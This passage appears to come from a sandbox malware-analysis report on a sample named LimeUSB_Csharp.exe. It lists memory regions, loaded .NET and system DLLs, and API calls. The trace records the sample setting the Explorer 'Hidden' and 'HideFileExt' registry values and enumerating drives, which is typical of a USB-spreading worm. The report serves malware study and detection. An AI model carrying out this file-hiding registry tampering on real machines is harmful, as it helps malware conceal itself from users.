end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2982 start_va = 0x70000 end_va = 0x16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 2983 start_va = 0xf20000 end_va = 0x19e3fff monitored = 1 entry_point = 0x19de3ae region_type = mapped_file name = "limeusb_csharp.exe" filename = "\\Users\\Public\\Documents\\LimeUSB_Csharp.exe" (normalized: "c:\\users\\public\\documents\\limeusb_csharp.exe") Region: id = 2984 start_va = 0x77460000 end_va = 0x77608fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2985 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2986 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2987 start_va = 0x7fffa000 end_va = 0x7fffafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fffa000" filename = "" Region: id = 2988 start_va = 0x7feff780000 end_va = 0x7feff780fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2989 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2990 start_va = 0x7fffffd4000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 2991 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 2992 start_va = 0x170000 end_va = 0x24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 2993 start_va = 0x7fef8d10000 end_va = 0x7fef8d7efff monitored = 1 entry_point = 0x7fef8d11134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 2994 start_va = 0x77340000 end_va = 0x7745efff monitored = 0 entry_point = 0x77355340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2995 start_va = 0x7fefd520000 end_va = 0x7fefd58bfff monitored = 0 entry_point = 0x7fefd522780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2996 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2997 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2998 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2999 start_va = 0x20000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3000 start_va = 0x250000 end_va = 0x2b6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3001 start_va = 0x2c0000 end_va = 0x3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 3002 start_va = 0x3c0000 end_va = 0x62ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 3003 start_va = 0x7fefe2f0000 end_va = 0x7fefe3cafff monitored = 0 entry_point = 0x7fefe310760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3004 start_va = 0x7fefdc20000 end_va = 0x7fefdcbefff monitored = 0 entry_point = 0x7fefdc225a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3005 start_va = 0x7fefe8e0000 end_va = 0x7fefe8fefff monitored = 0 entry_point = 0x7fefe8e60e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3006 start_va = 0x7fefe0c0000 end_va = 0x7fefe1ecfff monitored = 0 entry_point = 0x7fefe10ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3007 start_va = 0x3c0000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 3008 start_va = 0x5b0000 end_va = 0x62ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005b0000" filename = "" Region: id = 3009 start_va = 0x3c0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 3010 start_va = 0x570000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 3011 start_va = 0x7fef3c20000 end_va = 0x7fef3cc8fff monitored = 1 entry_point = 0x7fef3c21010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 3012 start_va = 0x7fefac50000 end_va = 0x7fefac52fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 3013 start_va = 0x7fefe960000 end_va = 0x7fefe9d0fff monitored = 0 entry_point = 0x7fefe971e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 3014 start_va = 0x7fefd780000 end_va = 0x7fefd7e6fff monitored = 0 entry_point = 0x7fefd78b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3015 start_va = 0x77240000 end_va = 0x77339fff monitored = 0 entry_point = 0x7725a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3016 start_va = 0x7fefd7f0000 end_va = 0x7fefd7fdfff monitored = 0 entry_point = 0x7fefd7f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 3017 start_va = 0x7fefdcc0000 end_va = 0x7fefdd88fff monitored = 0 entry_point = 0x7fefdd3a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 3018 start_va = 0x170000 end_va = 0x198fff monitored = 0 entry_point = 0x171010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3019 start_va = 0x1d0000 end_va = 0x24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 3020 start_va = 0x630000 end_va = 0x7b7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000630000" filename = "" Region: id = 3021 start_va = 0x170000 end_va = 0x198fff monitored = 0 entry_point = 0x171010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3022 start_va = 0x7fefdbf0000 end_va = 0x7fefdc1dfff monitored = 0 entry_point = 0x7fefdbf1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3023 start_va = 0x7fefdfb0000 end_va = 0x7fefe0b8fff monitored = 0 entry_point = 0x7fefdfb1064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 3024 start_va = 0x50000 end_va = 0x50fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 3025 start_va = 0x60000 end_va = 0x60fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 3026 start_va = 0x7c0000 end_va = 0x940fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007c0000" filename = "" Region: id = 3027 start_va = 0x19f0000 end_va = 0x2deffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000019f0000" filename = "" Region: id = 3028 start_va = 0x2df0000 end_va = 0x38acfff monitored = 1 entry_point = 0x38ae3ae region_type = mapped_file name = "limeusb_csharp.exe" filename = "\\Users\\Public\\Documents\\LimeUSB_Csharp.exe" (normalized: "c:\\users\\public\\documents\\limeusb_csharp.exe") Region: id = 3029 start_va = 0x2df0000 end_va = 0x38acfff monitored = 1 entry_point = 0x38ae3ae region_type = mapped_file name = "limeusb_csharp.exe" filename = "\\Users\\Public\\Documents\\LimeUSB_Csharp.exe" (normalized: "c:\\users\\public\\documents\\limeusb_csharp.exe") Region: id = 3030 start_va = 0x7fefc570000 end_va = 0x7fefc57bfff monitored = 0 entry_point = 0x7fefc571064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 3031 start_va = 0x7fef0ee0000 end_va = 0x7fef19a6fff monitored = 1 entry_point = 0x7fef0ee63a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 3032 start_va = 0x7fef19b0000 end_va = 0x7fef2476fff monitored = 1 entry_point = 0x7fef19b63a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 3033 start_va = 0x7fef0ee0000 end_va = 0x7fef19a6fff monitored = 1 entry_point = 0x7fef0ee63a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 3034 start_va = 0x7fefb320000 end_va = 0x7fefb335fff monitored = 0 entry_point = 0x7fefb32c000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 3035 start_va = 0x7fef3760000 end_va = 0x7fef381cfff monitored = 0 entry_point = 0x7fef37e7db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 3036 start_va = 0x170000 end_va = 0x170fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000170000" filename = "" Region: id = 3037 start_va = 0x180000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000180000" filename = "" Region: id = 3038 start_va = 0x190000 end_va = 0x19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 3039 start_va = 0x7fe91890000 end_va = 0x7fe9189ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91890000" filename = "" Region: id = 3040 start_va = 0x7fe918a0000 end_va = 0x7fe918affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe918a0000" filename = "" Region: id = 3041 start_va = 0x7fe918b0000 end_va = 0x7fe9193ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe918b0000" filename = "" Region: id = 3042 start_va = 0x7fe91940000 end_va = 0x7fe919affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91940000" filename = "" Region: id = 3043 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 3044 start_va = 0x1b0000 end_va = 0x1b0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 3045 start_va = 0x950000 end_va = 0xa6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000950000" filename = "" Region: id = 3046 start_va = 0xa70000 end_va = 0xc0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a70000" filename = "" Region: id = 3047 start_va = 0xca0000 end_va = 0xd9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ca0000" filename = "" Region: id = 3048 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 3049 start_va = 0x1c0000 end_va = 0x1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 3050 start_va = 0x2df0000 end_va = 0x1adeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002df0000" filename = "" Region: id = 3051 start_va = 0x1adf0000 end_va = 0x1b16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001adf0000" filename = "" Region: id = 3052 start_va = 0xa70000 end_va = 0xb70fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a70000" filename = "" Region: id = 3053 start_va = 0xb90000 end_va = 0xc0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b90000" filename = "" Region: id = 3054 start_va = 0x1b2c0000 end_va = 0x1b3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2c0000" filename = "" Region: id = 3055 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 3056 start_va = 0xda0000 end_va = 0xe9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000da0000" filename = "" Region: id = 3057 start_va = 0x1b470000 end_va = 0x1b56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b470000" filename = "" Region: id = 3058 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 3059 start_va = 0x1b570000 end_va = 0x1b83efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3060 start_va = 0x7feef8e0000 end_va = 0x7fef0edcfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll") Region: id = 3061 start_va = 0x7fffff10000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 3062 start_va = 0x7fffff00000 end_va = 0x7fffff0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff00000" filename = "" Region: id = 3063 start_va = 0x7fe919b0000 end_va = 0x7fe91a2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe919b0000" filename = "" Region: id = 3064 start_va = 0x7fefd800000 end_va = 0x7fefda02fff monitored = 0 entry_point = 0x7fefd823330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3065 start_va = 0x4c0000 end_va = 0x53cfff monitored = 0 entry_point = 0x4ccec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3066 start_va = 0x4c0000 end_va = 0x53cfff monitored = 0 entry_point = 0x4ccec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3067 start_va = 0x7fefd2a0000 end_va = 0x7fefd2aefff monitored = 0 entry_point = 0x7fefd2a1010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 3068 start_va = 0x7fef8e70000 end_va = 0x7fef8e72fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 3069 start_va = 0x7fef3140000 end_va = 0x7fef328efff monitored = 1 entry_point = 0x7fef3141090 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 3070 start_va = 0x1c0000 end_va = 0x1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 3071 start_va = 0x1b170000 end_va = 0x1b28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b170000" filename = "" Region: id = 3072 start_va = 0x7fe91a30000 end_va = 0x7fe91a3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91a30000" filename = "" Region: id = 3073 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 3074 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 3078 start_va = 0x7feeec70000 end_va = 0x7feef8defff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\e43dd9c73ab5615e461bf5109c3facd6\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\e43dd9c73ab5615e461bf5109c3facd6\\system.ni.dll") Region: id = 3079 start_va = 0x7fef2f40000 end_va = 0x7fef3134fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\ece80f2e3752a779e894fd45d8f27e64\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.drawing\\ece80f2e3752a779e894fd45d8f27e64\\system.drawing.ni.dll") Region: id = 3087 start_va = 0x7feedbc0000 end_va = 0x7feeec65fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\b138f79dea860272ebe6694d9b73f656\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.windows.forms\\b138f79dea860272ebe6694d9b73f656\\system.windows.forms.ni.dll") Region: id = 3089 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 3090 start_va = 0x4e0000 end_va = 0x4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 3091 start_va = 0x4f0000 end_va = 0x4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004f0000" filename = "" Region: id = 3092 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 3093 start_va = 0x7fef8dd0000 end_va = 0x7fef8de5fff monitored = 1 entry_point = 0x7fef8dde5e0 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\nlssorting.dll") Region: id = 3094 start_va = 0x1b840000 end_va = 0x1bb11fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sortdefault.nlp") Thread: id = 76 os_tid = 0x820 [0155.714] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0157.933] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced", ulOptions=0x0, samDesired=0x2001f, phkResult=0x16eac8 | out: phkResult=0x16eac8*=0x1c4) returned 0x0 [0157.936] RegQueryValueExW (in: hKey=0x1c4, lpValueName="Hidden", lpReserved=0x0, lpType=0x16eb18, lpData=0x0, lpcbData=0x16eb10*=0x0 | out: lpType=0x16eb18*=0x4, lpData=0x0, lpcbData=0x16eb10*=0x4) returned 0x0 [0157.936] RegQueryValueExW (in: hKey=0x1c4, lpValueName="Hidden", lpReserved=0x0, lpType=0x16eb18, lpData=0x16eaf8, lpcbData=0x16eb10*=0x4 | out: lpType=0x16eb18*=0x4, lpData=0x16eaf8*=0x2, lpcbData=0x16eb10*=0x4) returned 0x0 [0157.962] RegQueryValueExW (in: hKey=0x1c4, lpValueName="Hidden", lpReserved=0x0, lpType=0x16ead8, lpData=0x0, lpcbData=0x16ead0*=0x0 | out: lpType=0x16ead8*=0x4, lpData=0x0, lpcbData=0x16ead0*=0x4) returned 0x0 [0157.964] RegSetValueExW (in: hKey=0x1c4, lpValueName="Hidden", Reserved=0x0, dwType=0x4, lpData=0x16eb48*=0x2, cbData=0x4 | out: lpData=0x16eb48*=0x2) returned 0x0 [0157.964] RegQueryValueExW (in: hKey=0x1c4, lpValueName="HideFileExt", lpReserved=0x0, lpType=0x16eb18, lpData=0x0, lpcbData=0x16eb10*=0x0 | out: lpType=0x16eb18*=0x4, lpData=0x0, lpcbData=0x16eb10*=0x4) returned 0x0 [0157.964] RegQueryValueExW (in: hKey=0x1c4, lpValueName="HideFileExt", lpReserved=0x0, lpType=0x16eb18, lpData=0x16eaf8, lpcbData=0x16eb10*=0x4 | out: lpType=0x16eb18*=0x4, lpData=0x16eaf8*=0x1, lpcbData=0x16eb10*=0x4) returned 0x0 [0157.965] RegQueryValueExW (in: hKey=0x1c4, lpValueName="HideFileExt", lpReserved=0x0, lpType=0x16ead8, lpData=0x0, lpcbData=0x16ead0*=0x0 | out: lpType=0x16ead8*=0x4, lpData=0x0, lpcbData=0x16ead0*=0x4) returned 0x0 [0157.965] RegSetValueExW (in: hKey=0x1c4, lpValueName="HideFileExt", Reserved=0x0, dwType=0x4, lpData=0x16eb48*=0x1, cbData=0x4 | out: lpData=0x16eb48*=0x1) returned 0x0 [0157.968] GetLogicalDrives () returned 0x4 [0158.043] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x16da58 | out: phkResult=0x16da58*=0x0) returned 0x2 [0158.044] RegCloseKey (hKey=0xffffffff80000002) returned 0x0 [0158.056] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x16e4b0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0158.059] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0158.062] CoGetContextToken (in: pToken=0x16f960 | out: pToken=0x16f960) returned 0x0 [0158.062] CObjectContext::QueryInterface () returned 0x0 [0158.062] CObjectContext::GetCurrentThreadType () returned 0x0 [0158.062] Release () returned 0x0 [0158.064] CoGetContextToken (in: pToken=0x16f400 | out: pToken=0x16f400) returned 0x0 [0158.064] CObjectContext::QueryInterface () returned 0x0 [0158.064] CObjectContext::GetCurrentThreadType () returned 0x0 [0158.064] Release () returned 0x0 [0158.065] CoGetContextToken (in: pToken=0x16f400 | out: pToken=0x16f400) returned 0x0 [0158.065] CObjectContext::QueryInterface () returned 0x0 [0158.065] CObjectContext::GetCurrentThreadType () returned 0x0 [0158.065] Release () returned 0x0 [0158.071] CoGetContextToken (in: pToken=0x16f400 | out: pToken=0x16f400) returned 0x0 [0158.071] CObjectContext::QueryInterface () returned 0x0 [0158.071] CObjectContext::GetCurrentThreadType () returned 0x0 [0158.071] Release () returned 0x0 [0158.074] CoGetContextToken (in: pToken=0x16f420 | out: pToken=0x16f420) returned 0x0 [0158.074] CObjectContext::QueryInterface () returned 0x0 [0158.074] CObjectContext::GetCurrentThreadType () returned 0x0 [0158.074] Release () returned 0x0 [0158.076] CoUninitialize () Thread: id = 77 os_tid = 0x824 Thread: id = 78 os_tid = 0x828 [0156.555] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0158.068] RegCloseKey (hKey=0x1c4) returned 0x0 [0158.069] RegCloseKey (hKey=0xffffffff80000004) returned 0x0 Thread: id = 79 os_tid = 0x82c Process: id = "19" image_name = "limeusb_csharp.exe" filename = "c:\\users\\public\\documents\\limeusb_csharp.exe" page_root = "0x11306000" os_pid = "0x9f0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x934" cmd_line = "\"C:\\Users\\Public\\Documents\\LimeUSB_Csharp.exe\" " cur_dir = "C:\\Users\\kEecfMwgj\\Desktop\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f5e4" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3135 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3136 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3137 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 3138 start_va = 0x70000 end_va = 0x16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 3139 start_va = 0xf20000 end_va = 0x19e3fff monitored = 1 entry_point = 0x19de3ae region_type = mapped_file name = "limeusb_csharp.exe" filename = "\\Users\\Public\\Documents\\LimeUSB_Csharp.exe" (normalized: "c:\\users\\public\\documents\\limeusb_csharp.exe") Region: id = 3140 start_va = 0x77460000 end_va = 0x77608fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3141 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3142 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3143 start_va = 0x7fff1000 end_va = 0x7fff1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff1000" filename = "" Region: id = 3144 start_va = 0x7feff780000 end_va = 0x7feff780fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3145 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 3146 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 3147 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 3148 start_va = 